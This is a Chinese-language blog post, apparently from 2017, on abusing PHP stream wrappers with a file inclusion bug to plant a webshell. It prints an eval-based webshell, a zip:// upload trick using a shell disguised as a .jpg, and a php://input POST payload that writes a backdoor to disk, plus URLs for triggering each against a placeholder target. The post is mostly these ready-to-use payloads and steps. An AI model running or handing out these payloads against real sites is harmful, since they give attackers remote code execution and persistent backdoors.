美文网首页PHP
php伪协议的使用[获得webshell]

php伪协议的使用[获得webshell]

作者: jessica1123 | 来源:发表于2017-10-04 21:26 被阅读315次

一张简单的图就能看懂

Paste_Image.png

更详细的解读:http://www.freebuf.com/column/148886.html

如何获得一个webshell?

假设文件包含漏洞文件test.php的后台代码为:

<?php
include($_GET[file]);
?>
  1. 如果该站点有文件上传功能,则可以结合上传功能和本地文件包含漏洞获得webshell,下面提供使用zip://协议的一种方法
    具体步骤:(此处用上传图片功能举例,具体上传的绕过在此处不考虑)
  • 新建一个shell.php
<?php
@eval($_GET[value]);
?>
  • 把shell.php,压缩成shell.zip,修改拓展名为shell.jpg,然后上传,假设上传的目录为upload
  • 则webshell为:
http://xxxxx/test.php?file=zip://upload/shell.jpg%23shell.php
#xxxxx为目标ip或者域名

2.如果该站点没有文件上传功能,但是allow_url_include=On的话,可以使用php://input在目标机的一个可写目录下面写一个shell.php

  • 先查看allow_url_include的状态,这个可以查看phpinfo里面的信息,不然就先假设它是On吧
  • 找到目标机上一个可写的目录,这里假设为/root/hello
  • 使用firefox里面的hackbar插件,或者burpsuite代理
#url
http://xxxxx/test.php?file=php://input
#POST
<?php fputs(fopen('/root/hello/shell.php','w'),'<?php @eval($_POST[v]);?>')?>
Paste_Image.png Paste_Image.png
  • 发现成功在/root/hello里面得到了shell.php
  • 然后此处要连接shell.php,但是直接访问http://xxxxx/../../../root/hello/shell.php是不行的,此处建议使用file://或者php://filter
#file
http://xxxxx/test.php?file=file:///root/hello/shell.php
#php://filter
http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php

这样就能成功获得websehll了~当然,如果allow_url_fopen=On的话,也可以用data://生成shell.php

相关文章

  • php伪协议的使用[获得webshell]

    一张简单的图就能看懂 更详细的解读:http://www.freebuf.com/column/148886.ht...

  • 【BUUCTF-Web 0024】[ZJCTF 2019]NiZ

    Subject 逆转思维 PHP伪协议 PHP反序列化 Mind Palace 访问url获得代码: preg_m...

  • 突破安全模式执行系统命令的2种方法

    1.使用PHP脚本 https://www.webshell.cc/5328.html 当webshell不可执行...

  • 20180726简单的CTF之PHP学习

    1.伪协议入门 伪协议入门 考点php://input payload:http://192.168.1.88/A...

  • ics-05

    伪协议文件读取+preg_replace()任意代码执行首先php伪协议读取index.php代码 漏洞点在下面测...

  • php漏洞

    php反序列化 php伪协议 php://input可以读取以post方式提交的内容,通常和文件包含放在一起使用。...

  • webshell

    kali中存放webshell的目录为/usr/share/webshell 反弹型webshell 例:php-...

  • PHP文件包含

    LFI、RFI、PHP封装协议安全问题学习 本文希望分享一些本地文件包含、远程文件包含、PHP的封装协议(伪协议)...

  • 记录一下phpshell的几个tip

    1. Meepwn2018 的 Mapl Story题目 使用php伪协议包含base64编码的shell代码 2...

  • php伪协议

    【php://filter】用来读文件,base64再解码即可index.php?f=php://filter/c...

网友评论

    本文标题:php伪协议的使用[获得webshell]

    本文链接:https://www.haomeiwen.com/subject/nlgcyxtx.html